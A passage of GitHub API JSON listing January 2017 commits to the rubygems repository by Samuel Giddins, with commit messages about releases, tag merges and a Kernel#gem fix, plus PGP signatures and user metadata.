v1.14.3\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a66054a15c32e169e45ccdc37fb19933dffdf8d8","html_url":"https://github.com/rubygems/rubygems/commit/a66054a15c32e169e45ccdc37fb19933dffdf8d8","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a66054a15c32e169e45ccdc37fb19933dffdf8d8/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"e6c4b23799c2d1bc3dfb2f76b78f25cfb5c10835","url":"https://api.github.com/repos/rubygems/rubygems/commits/e6c4b23799c2d1bc3dfb2f76b78f25cfb5c10835","html_url":"https://github.com/rubygems/rubygems/commit/e6c4b23799c2d1bc3dfb2f76b78f25cfb5c10835"}]},{"sha":"11fd43c4818d1906ddbde2e0b2b7d8baa4fb3eec","node_id":"MDY6Q29tbWl0NjE0MDcwOjExZmQ0M2M0ODE4ZDE5MDZkZGJkZTJlMGIyYjdkOGJhYTRmYjNlZWM=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-24T21:29:06Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-24T21:29:06Z"},"message":"Push to stable when making a patch release","tree":{"sha":"52c78166bb8a6d1dd5daeeeaf8caa393676411b4","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/52c78166bb8a6d1dd5daeeeaf8caa393676411b4"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/11fd43c4818d1906ddbde2e0b2b7d8baa4fb3eec","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYh8ciAAoJEAEZW7MV3ahWid4P/jLultbPzbRo7Ur1Mcl2yNFL\nnxTeFUOapfgwV3G5yL5C1AqTDft9C11QG2IR0/QH4tg1KsHZjwS0DemkrrIe55Ju\nEPjOGE/+8PitVivoWJSeiX0S6z5rSUxL5klspjyWMFQQzQJkU+KaVOXUiMA5zsf/\nosp9n/KVzXKAqvfjqsoRqv7tga5+Uxmb81k+OyYweg2ug0xhw5iv2zahlTmx6tPB\nNB9kSGuMKhUxWvGh5UDXj2vUt6ffDWlNRog91hmv/Fz390yE2jEmdYQPXSnzhp5h\nBo87/BW+ZIX7qi2VUQvCMlDUGEnLC3b9Dzgbn5OOF7UGzSPdNKsrfnqbSv9ONhie\nsnUFafyuIXYSGvcugV8aJelj3zjv7Cm3n7Ubqmny9mQbnaz0SeypgORlzETJmCYC\nt4wmSq+59wv8R0ZYIO4YmhXsyQGesIHIM3R1d6DA1Ni1+MOVdgQ3NQzYRfxrQf9n\npxI9y498sW6GBJLTacemamv9ebE/O6Gu89sfU8qky/hkeDHI92j2LIu1FK5sNrb0\nO/CM0Lvlff/fFvtGsY33cqJNoEuEx/RbU1TVfzwEOqfghhG/vkgZsjdaeO56SuBU\nokO5hV74SXTvNOFb+J50xWY96uZ1V3c8Vks+iTcLkS8ZnMrHGqUEhe+s3lxMARDk\naZvOLe5OZAuU1I13FBXq\n=iaED\n-----END PGP SIGNATURE-----","payload":"tree 52c78166bb8a6d1dd5daeeeaf8caa393676411b4\nparent ac20ec2c0972569c76c7d344b0029016fcf5892f\nauthor Samuel Giddins 1485293346 -0600\ncommitter Samuel Giddins 1485293346 -0600\n\nPush to stable when making a patch release\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/11fd43c4818d1906ddbde2e0b2b7d8baa4fb3eec","html_url":"https://github.com/rubygems/rubygems/commit/11fd43c4818d1906ddbde2e0b2b7d8baa4fb3eec","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/11fd43c4818d1906ddbde2e0b2b7d8baa4fb3eec/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ac20ec2c0972569c76c7d344b0029016fcf5892f","url":"https://api.github.com/repos/rubygems/rubygems/commits/ac20ec2c0972569c76c7d344b0029016fcf5892f","html_url":"https://github.com/rubygems/rubygems/commit/ac20ec2c0972569c76c7d344b0029016fcf5892f"}]},{"sha":"ac20ec2c0972569c76c7d344b0029016fcf5892f","node_id":"MDY6Q29tbWl0NjE0MDcwOmFjMjBlYzJjMDk3MjU2OWM3NmM3ZDM0NGIwMDI5MDE2ZmNmNTg5MmY=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-24T01:30:38Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-24T01:30:38Z"},"message":"Merge tag ''v2.6.10''\n\nTagging v2.6.10.","tree":{"sha":"73a3ad3f2b86cef9aa865cdb6411545234f6f2bb","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/73a3ad3f2b86cef9aa865cdb6411545234f6f2bb"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ac20ec2c0972569c76c7d344b0029016fcf5892f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYhq4+AAoJEAEZW7MV3ahWGHUQAIHZe4K5iZoNsaUpTFxK2cRl\nJBSUlvItYEOStkUrQLYcAd8q/3zEkqDK4xKt3uKNLDscBhdbd5RLlyy6UJHvImA5\nxXjK80yHQ5ax00lKtzW2aYAlIkEOTVYdiSH8pghUaNEjeZNv/vbDY64kGSvpnuue\n0ASYL8AxpWvtvg1eJlK2mQmIC/WeGuWDVsx5xE/k41tiTWsfWAzpk/52XWvapuwx\nqufy7LV1iYQ/Q2yg5RO3g9rpOAUkeGAT5YAPpDGBkpZhMLeO/tjsntYIZwLRgazY\nThK3GzroNZlD/CT7+gMd4d1cEBb3XCPYL3fA83UbV9MVMsIodAa/TLFV0TVLjt3m\nSAihG0fSphxVxx5pbe+A4jttSeJP1DnPHiB4WkMra+3ybWWU8sEduOV4A09kqdA8\nnGebFNMfgmyQijS4UgmI+0C9i62xBS10dK4B0slvTmSYyalbzzZ9c00IfXwFse6c\nzUtcCuZuOLcyRJjErHQUh3sPvHe+1HLX7M0Shx/LcsdyWKCVe0KfqY7WSMDZqzM9\nkqJgRz2J6hWAIt2UNmojN/Kc1nDBhjLUg1OqU2sVIPC7QQ67fnf4KRWIBEmfRwDN\nx4MC32DKppzzUn0iuwyWw/utJOgKoYN+9+qrKe4DEp2BexEECweB53cTEabxKgVY\nnLQfxCLlA37JgO5qGodF\n=caT1\n-----END PGP SIGNATURE-----","payload":"tree 73a3ad3f2b86cef9aa865cdb6411545234f6f2bb\nparent 0ee3ab4c46de0a7fed1da0958f5a51b883901f9c\nparent be510dd4097e65c6a256a6e173d6b724a3a96472\nauthor Samuel Giddins 1485221438 -0600\ncommitter Samuel Giddins 1485221438 -0600\n\nMerge tag ''v2.6.10''\n\nTagging v2.6.10.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ac20ec2c0972569c76c7d344b0029016fcf5892f","html_url":"https://github.com/rubygems/rubygems/commit/ac20ec2c0972569c76c7d344b0029016fcf5892f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ac20ec2c0972569c76c7d344b0029016fcf5892f/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"0ee3ab4c46de0a7fed1da0958f5a51b883901f9c","url":"https://api.github.com/repos/rubygems/rubygems/commits/0ee3ab4c46de0a7fed1da0958f5a51b883901f9c","html_url":"https://github.com/rubygems/rubygems/commit/0ee3ab4c46de0a7fed1da0958f5a51b883901f9c"},{"sha":"be510dd4097e65c6a256a6e173d6b724a3a96472","url":"https://api.github.com/repos/rubygems/rubygems/commits/be510dd4097e65c6a256a6e173d6b724a3a96472","html_url":"https://github.com/rubygems/rubygems/commit/be510dd4097e65c6a256a6e173d6b724a3a96472"}]},{"sha":"be510dd4097e65c6a256a6e173d6b724a3a96472","node_id":"MDY6Q29tbWl0NjE0MDcwOmJlNTEwZGQ0MDk3ZTY1YzZhMjU2YTZlMTczZDZiNzI0YTNhOTY0NzI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-24T01:29:18Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-24T01:29:18Z"},"message":"Version 2.6.10 with changelog","tree":{"sha":"16de68f95b121eb190bd2696298c018c31577ae0","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/16de68f95b121eb190bd2696298c018c31577ae0"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/be510dd4097e65c6a256a6e173d6b724a3a96472","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYhq3uAAoJEAEZW7MV3ahWV4QP/2KLDFrQHhgQIQcL2EGKwlyf\nHB4LlPPl1huGy3VXckRyGqPr3qbq9hf+hgcH+1ohS1mJRnYFFzfR/S76+D2+UsGv\nAexQpH64NNH0gX9RObcVIn5/G98pjliwBpaqhudgO+UI8+htfrasROtTvPTPH8vM\nPruaPs91HyR+JItlDomr07Lcc93dYpiKcPBaDeHX8mfSz6XsK7pijIF/WyAnmElE\nJSxDvr3KZu1O3jbwI6blMilDljZ+KaBHbilFphCnNqX1W8LKzj0knJ1XqWtOAACj\n4hkkuF/2p2Vg4KQQTnch2I0HWohndNCqAhDw+q7pBPMcu5znMkQAYT8HlZfJl6Z2\nZmHlnLthPXZocfDdJri+p4fqlH63dh1nteZ0D/ElLdau7/cdkzUEZIqlPkXaNgYr\nJndYnZu2qwiW6VZOERA3zN8TZPmx7nOj8/lEYEYx4AAFLTuW/gxNQjrIMD14UKBb\nQO85HT906neD8HZttFRTctBtognsc55LFibU0CWsSWjnFx/3H5OGS8D9ZHXsQgEi\nAfldSstPXqS4Zg8ChXPJSt8V8AfP91ZlURJu8yixvQwONfJ6BB+lgtcNyQu70DRe\nFWXK037fE8sOEzdm3xkVMe1XFDABQmF9A+gaBa8/+fQaDXox6BliHN6TJAvdK3h3\nVAqsltwucT1RFPNRufkA\n=VIGU\n-----END PGP SIGNATURE-----","payload":"tree 16de68f95b121eb190bd2696298c018c31577ae0\nparent fb929f631ba756c39971ce35ba7a05a200da4ec5\nauthor Samuel Giddins 1485221358 -0600\ncommitter Samuel Giddins 1485221358 -0600\n\nVersion 2.6.10 with changelog\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/be510dd4097e65c6a256a6e173d6b724a3a96472","html_url":"https://github.com/rubygems/rubygems/commit/be510dd4097e65c6a256a6e173d6b724a3a96472","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/be510dd4097e65c6a256a6e173d6b724a3a96472/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"fb929f631ba756c39971ce35ba7a05a200da4ec5","url":"https://api.github.com/repos/rubygems/rubygems/commits/fb929f631ba756c39971ce35ba7a05a200da4ec5","html_url":"https://github.com/rubygems/rubygems/commit/fb929f631ba756c39971ce35ba7a05a200da4ec5"}]},{"sha":"439c4464890958fec17b3aa65b9d3a4dbdd3bf90","node_id":"MDY6Q29tbWl0NjE0MDcwOjQzOWM0NDY0ODkwOTU4ZmVjMTdiM2FhNjViOWQzYTRkYmRkM2JmOTA=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-22T17:14:43Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-22T22:09:48Z"},"message":"[Require] Call #gem explicitly on Kernel\n\nThis avoids conflicts if #gem happens to be defined on self","tree":{"sha":"fa9e143e3f54973c0b4f0b51e6c430fada9fea94","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/fa9e143e3f54973c0b4f0b51e6c430fada9fea94"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/439c4464890958fec17b3aa65b9d3a4dbdd3bf90","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYhS2sAAoJEAEZW7MV3ahWpQIP/iR5PUukWwKlA/5lYXvFvlv8\nBAskExdHEN7uGmg/wfmoyDA2etAqLZFwUSKpJ9ym10aX3mWR0x5Wzu7eaPwCNAKJ\nvpboJ/EqWV6VkMFWb4WTDY14yJ3Z++odpZQqDvZm05aJU6ljG8KTNyHVzoMrSTm7\nqurrziqGRZkSPehPlHdpfsfhJte65VgbMAHczYPPzEIPjqsmvxA/WK1nTQIug8zL\nk9Bm/pd172bZgWHLVnPa8nZ/YUFXXTZySoQQUQFvdj971azPaYJ6W2SDI0eI6NVD\nYD8+qPs/1EQTKkZbeoyNuNEWnoEXYU/yzlihb99w3pFiL2v3R6RIDEXGWkhvhLXh\nbg5igOsUOJuRR0SQWlQ1hWC7iTexQES3be4YansoC3bG5Ye3yaSTygl6FYGGC9zD\nTGvQHopLV1xb10QzplX3K3Ghr8we5OxAYSg+6IuZgo+mcUoqiroSiH4TOHnNNdq9\nDlw/XFI+1gvdy955VgbzN6s5wFTCCLzah5jAMxWwAt/w7yICDQkyxEKYi/6pPq5j\nI3fRwUVuPv2K9nOSPKV5HSczrNTafHZ3xHUhJVyUUveHTcINABc3Tf8NL+y1c8ky\nOrVXqBbjafDfL9Pkxy5nzr3tprA72Jk4HvpPsfarPHQaYdG/dzzdXXUwAAEXlw2S\njmBC1TzIsp/UMbDQxvgv\n=MBaB\n-----END PGP SIGNATURE-----","payload":"tree fa9e143e3f54973c0b4f0b51e6c430fada9fea94\nparent 4c0dc4b660fc197aba6a5414649ac2b0028a579a\nauthor Samuel Giddins 1485105283 -0600\ncommitter Samuel Giddins 1485122988 -0600\n\n[Require] Call #gem explicitly on Kernel\n\nThis avoids conflicts if #gem happens to be defined on self\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/439c4464890958fec17b3aa65b9d3a4dbdd3bf90","html_url":"https://github.com/rubygems/rubygems/commit/439c4464890958fec17b3aa65b9d3a4dbdd3bf90","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/439c4464890958fec17b3aa65b9d3a4dbdd3bf90/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"4c0dc4b660fc197aba6a5414649ac2b0028a579a","url":"https://api.github.com/repos/rubygems/rubygems/commits/4c0dc4b660fc197aba6a5414649ac2b0028a579a","html_url":"https://github.com/rubygems/rubygems/commit/4c0dc4b660fc197aba6a5414649ac2b0028a579a"}]},{"sha":"803980498f4c7da6d346751cc45cb564b92c179a","node_id":"MDY6Q29tbWl0NjE0MDcwOjgwMzk4MDQ5OGY0YzdkYTZkMzQ2NzUxY2M0NWNiNTY0YjkyYzE3OWE=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-20T23:22:18Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-21T00:01:54Z"},"message":"[Util] Add scripts to help releasing","tree":{"sha":"7cd03a5795d9dddf0b6444b92a7320c9d268fcb6","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7cd03a5795d9dddf0b6444b92a7320c9d268fcb6"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/803980498f4c7da6d346751cc45cb564b92c179a","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYgqTyAAoJEAEZW7MV3ahW87IP/1aU/HRj7NyaYwAldioIuhO8\nouzdKrGhW/L8uq37c2oGCZqA9Wu1t1Wb1Eb5fWs/ftxAiZx6PmLwO7xfvVgC8145\nZtozRl8lmkWHSUDjKeKYYPTwL3oRh7KD6SeBG3epNyMwGpgtkgnVRgQYEenDHpSG\nyHw0NrKEsZkG9HybJSmO/J5jif0Ub8JwWLXy9fo+qgWcbyU4tkR8KNwsQ9GyBZIt\na3NguLaZmT4WHCG5Mgr+qgUQwY6Ij/EqbxXZGeSFe1YkdpIoO+e/I2kcIr0W30U7\nbQ2+X7VA29VSDgSsr5v1DpsmLw/1R5AmPev568L2GrhiL+Is2gj3H9ons2OnrjT5\neSjVJN5xXGfFf6+dx4jxRgjTttkF9leCNb3i/WluFXhABxCIRPlUs0L2YvyT35d9\nEdAbLDFabEaLoz/sxU8nm0T53oX7RXovm06OX1jAbjlkO8cXbOsdjML7GEoaodlY\nLhqfe0Gl56y8iD/LtgMRY9Gcetvr2pEvtmjv+ADnR+wCfSkSnNbjlx4L3UvZsFsM\niGPkuEhdY7vNC3udTNVgNl8YlmiT1YswTV/vsnlJz9Z4n5K0cROHVlw1b4hmDowz\nkI4tdlgLvFEwJMCyXR8i27CB2ygL0Vu5FKjilzFpUzJX9Xb5Nrmy1If1yDpuoMWV\nJ7geiJeviOWwCYUbW4Av\n=vxon\n-----END PGP SIGNATURE-----","payload":"tree 7cd03a5795d9dddf0b6444b92a7320c9d268fcb6\nparent fde6f514b6a3d0442f599183ccc9df954ea33982\nauthor Samuel Giddins 1484954538 -0600\ncommitter Samuel Giddins 1484956914 -0600\n\n[Util] Add scripts to help releasing\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/803980498f4c7da6d346751cc45cb564b92c179a","html_url":"https://github.com/rubygems/rubygems/commit/803980498f4c7da6d346751cc45cb564b92c179a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/803980498f4c7da6d346751cc45cb564b92c179a/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"fde6f514b6a3d0442f599183ccc9df954ea33982","url":"https://api.github.com/repos/rubygems/rubygems/commits/fde6f514b6a3d0442f599183ccc9df954ea33982","html_url":"https://github.com/rubygems/rubygems/commit/fde6f514b6a3d0442f599183ccc9df954ea33982"}]},{"sha":"fde6f514b6a3d0442f599183ccc9df954ea33982","node_id":"MDY6Q29tbWl0NjE0MDcwOmZkZTZmNTE0YjZhM2QwNDQyZjU5OTE4M2NjYzlkZjk1NGVhMzM5ODI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-20T23:14:57Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-20T23:14:57Z"},"message":"Merge tag ''v2.6.9''\n\nTagging v2.6.9.\n\n# Conflicts:\n#\ttest/rubygems/test_gem.rb","tree":{"sha":"2ddd8e6a3289dd31a7f10d68dcdcb82a70e7983c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2ddd8e6a3289dd31a7f10d68dcdcb82a70e7983c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/fde6f514b6a3d0442f599183ccc9df954ea33982","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYgpnxAAoJEAEZW7MV3ahWcLIP/jWkQIM4f2WXGVBhIJoWmZyu\nuh4udZeW+cdv7CWsIUIcC9T/+qINGqi95lgSxaVkJ3osdW8fXhlwL8y3DgswR3/Y\n8V+v/2hj//UVPCuW3brpQ+ZNmlUVTbe62XFUdGBEA7Q3hkfFQOwmEP406BwSIiMW\n0GNwIjycrxN3YqRpauHg0YtYBz4FQVY0ioGIQAC3HhO6nDslIN9fbRr2cPhG76vL\nm4GtTmSZEWeLRsXAFtWU84SBwVmQ+MKTmJq0PoW1K4ahG+CDl0eORCEOS8O1ziiE\nKqj+6efpR9P7jm6HOVqec/hIL9EFbSSoiXJ+1fh0xB46M9wbsKeNell+/5vlcVpp\n9+jpNgAoBa2/jY82tf171JoZoFIFhzZb12oOu9V6pM9kUAWdqvoKOtQOblh7rEvB\nOepzA9CKJEsnfdeIPx2i4lGb+we8RxYdkLVMrHXbgbbgQKW8+yFgs5VDl4zT6gOd\npDoYnDFZeUfbK46Pj7nmxumpEr2mFPtMMxKAsVdpcXOmmCPDpQ3o4oPtgLzSUt7r\nunSQsXg2wNqLjFmjAoyJotH6WXDqj8pZtPqs/AGVKF8NWZdFFJPdOX1o/ChTyqGd\nXrxck6pPq3hHs7u7UL8Qhmkm3ld6PXXu9MeH8tKBKylfmlEkAORzWwqkIOhduCg9\nqQ7CJYbhFupgx5pAUxW0\n=Fnym\n-----END PGP SIGNATURE-----","payload":"tree 2ddd8e6a3289dd31a7f10d68dcdcb82a70e7983c\nparent 5db801704ea8e74220187b2ba5e386dae4967647\nparent 2ee5bf9fd3bd7649d3e244bc40107ff32070ef47\nauthor Samuel Giddins 1484954097 -0600\ncommitter Samuel Giddins 1484954097 -0600\n\nMerge tag ''v2.6.9''\n\nTagging v2.6.9.\n\n# 